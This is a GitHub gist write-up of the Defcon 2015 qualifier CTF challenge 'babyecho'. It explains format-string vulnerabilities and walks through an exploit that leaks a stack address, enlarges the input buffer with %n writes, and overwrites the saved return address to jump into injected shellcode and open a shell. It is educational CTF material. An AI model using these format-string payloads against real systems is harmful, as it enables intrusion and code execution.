Skip to content

Instantly share code, notes, and snippets.

@0xabe-io
Last active August 29, 2015 14:21
Show Gist options
  • Save 0xabe-io/442a99899b06c192f3ac to your computer and use it in GitHub Desktop.
Save 0xabe-io/442a99899b06c192f3ac to your computer and use it in GitHub Desktop.
writeup of the babyecho challenge during the Defcon 2015 qualifications

Defcon Qualifications 2015 - babyecho

babyecho is an ELF 32bit statically linked binary that reads 13 bytes at time and outputs it back:

$ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
Reading 13 bytes (stdout)
123456789012345678901234567890 (stdin)
123456789012 (stdout)
Reading 13 bytes (stdout)
456789012345 (stdout)
Reading 13 bytes (stdout)
7890 (stdout)
Reading 13 bytes (stdout)

=> no buffer overflow... but string format:

$ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
Reading 13 bytes
%p%p%p%p%p%p
0xd0xa(nil)0xd0xff99457c(nil)
Reading 13 bytes

String format

Basicaly a bad coding practice where a user controlled input is passed as the argument and not as a format argument to a printf-family function:

/* bad */
sprintf(target, user_input);

If a format is given in user_input it will be interpreted by printf

/* good */
sprintf(target, "%s", user_input);

/* better */
snprintf(target, target_max_size, "%s", user_input);

Usefull formats

man 3 printf

  • %p print 4 bytes as a pointer:

    $ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
    Reading 13 bytes
    %p%p%p%p%p%p
    0xd0xa(nil)0xd0xff99457c(nil)
  • %s print the string located at the address:

    $ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
    Reading 13 bytes
    %p%p%p%p%s%p
    0xd0xa(nil)0xd%p%p%p%p%s%p(nil)
  • %VALUEx print an hexadecimal representation with decimal VALUE precision:

    $ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
    Reading 13 bytes
    %x.%4x.%8x
    d.   a.       0
  • %n write at a specified address the number of bytes written so far (example later on)

  • argument offset OFFSET$ e.g. %7$n take the 7th argument:

    printf("%d %d %d %d\n", 4, 3, 2 ,1);
    /* 4 3 2 1 */
    printf("%4$d %3$d %2$d %1$d\n", 4, 3, 2, 1);
    /* 1 2 3 4 */
  • What happen here if ask for more arguments than provided?

  • modifiers l, h,...

    %n writes 4 bytes %hn writes 2 bytes

babyecho case

  • address space randomization is activated (ASLR)
  • we only have 13 bytes available for the input => too short for a shellcode :'[

solution

  • leak an address with a first string format
  • increase the buffer size with a second string format
  • provide a shellcode and overwrite eip with a third string format
  • profit

1st string format

leak an address

As already seen we can leak the address on the stack of our input:

$ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
Reading 13 bytes
%p%p%p%p%p%p
0xd0xa(nil)0xd0xffffd59c(nil)
Reading 13 bytes

2nd string format

increase the buffer size

In GDB if we break when the binary is waiting for an input (CTRL+Z) and print the stack:

gdb-peda$ x/40x $esp
0xffffd538:        0xffffd578        0x00000001        0xffffd56b        0x0806d4d2
0xffffd548:        0x080481a8        0x08048e54        0x00000000        0xffffd56b
0xffffd558:        0x00000001        0x0804f50a        0x080ea200        0x080be5f1
0xffffd568:        0xffffd584        0x00000000        0x080481a8        0x080eb4d4
0xffffd578:        0xffffd9a8        0x08048ffc        0xffffd59c        0x0000000d
0xffffd588:        0x0000000a        0x00000000        0x0000000d <- len 0xffffd59c <- address leaked
0xffffd598:        0x00000000        0x70257025        0x70257025        0x70257025 <- input
0xffffd5a8:        0x00000000        0x00000000        0x00000000        0x00000000

13 in hexadecimal is 0xd Here the address of our input is at 0xffffd59c and the length (0xd) is at 0xffffd590 => offset -0xc

We need to find the position of our input on the stack 1: 0xd 2: 0xa 3: 0x0 4: 0xd` 5: ``0xffffd59c 6: 0x0 7: 0x70257025 => Our input is the 7th arg on the stack

The string format will look like this:

ADDRESS %VALUEx %ARG_NUM$n
\x90\xd5\xff\xff%99x%7$n

This will increase the amount read to 4 + 99 = 103 bytes

It works:

$ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
Reading 13 bytes
%p%p%p%p%p%p
0xd0xa(nil)0xd0xffffd59c(nil)
Reading 13 bytes
p@ÿ%00x%7$n
Reading 103 bytes

3rd string format

Insert shellcode and overwrite eip with the address of where the shellcode is

A quick look at the disassembly:

8048ff7:       e8 28 fe ff ff          call   0x8048e24       ; call to the vulnerable function
8048ffc:       8d 44 24 1c             lea    0x1c(%esp),%eax ; <= saved eip 0x0804ffc

We can see where eip is saved on the stack:

gdb-peda$ x/40x $esp
0xffffd538:        0xffffd578        0x00000001        0xffffd56b        0x0806d4d2
0xffffd548:        0x080481a8        0x08048e54        0x00000000        0xffffd56b
0xffffd558:        0x00000001        0x0804f50a        0x080ea200        0x080be5f1
0xffffd568:        0xffffd584        0x00000000        0x080481a8        0x080eb4d4
0xffffd578:        0xffffd9a8        0x08048ffc <- eip 0xffffd59c        0x0000000d
0xffffd588:        0x0000000a        0x00000000        0x0000000d        0xffffd59c <- address leaked
0xffffd598:        0x00000000        0x70257025        0x70257025        0x70257025 <- input
0xffffd5a8:        0x00000000        0x00000000        0x00000000        0x00000000

eip is stored at 0xffffd57c => offset -0x20

Therefore we need to write the value 0xffffd59c + shellcode_offset at address 0xffffd57c

We have to write an entire address on the saved eip, it has to be done in two steps:

ADDR1 ADDR2 SHELLCODE %VALUE1x %ARG_NUM1$n %VALUE2x %ARG_NUM2$hn
  • ADDR1 is the address of the least significant bytes where eip is stored (0xffffd57c)

  • ADDR2 is the address of the most significant bytes where eip is stored (0xffffd57e)

    ADDR2 = ADDR1 + 0x2

  • SHELLCODE is a small shellcode that exec bash (tested: 23 bytes http://shell-storm.org/shellcode/files/shellcode-827.php) it is located at address:

    0xffffd59c + len(ADDR1) + len(ADDR2) = 0xffffd59c + 4 + 4 = 0xffffd5a4
    
  • VALUE1 is the value wanted minus what was written so far:

    VALUE1 = 0xd5a4 - len(ADDR1) - len(ADDR2) - len(SHELLCODE)
           = 0xd5a4 - 4 - 4 - 23
    
  • ARG_NUM1 is 7 (as seen in 2nd string format)

  • VALUE2 is the value wanted minus what was written so far:

    VALUE2 = 0xffff - VALUE1 - 4 - 4 - 23
    
  • ARG_NUM2 is 8 (7+1)

Profit

As ASLR is active, we need to write a script that will compute the addresses and interact with the remotely spawned bash

< pwd
> /

< ls /home
> babycmd
> ubuntu

< ls /home/babycmd
> babycmd
> flag

< cat /home/babycmd/flag
> ....
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment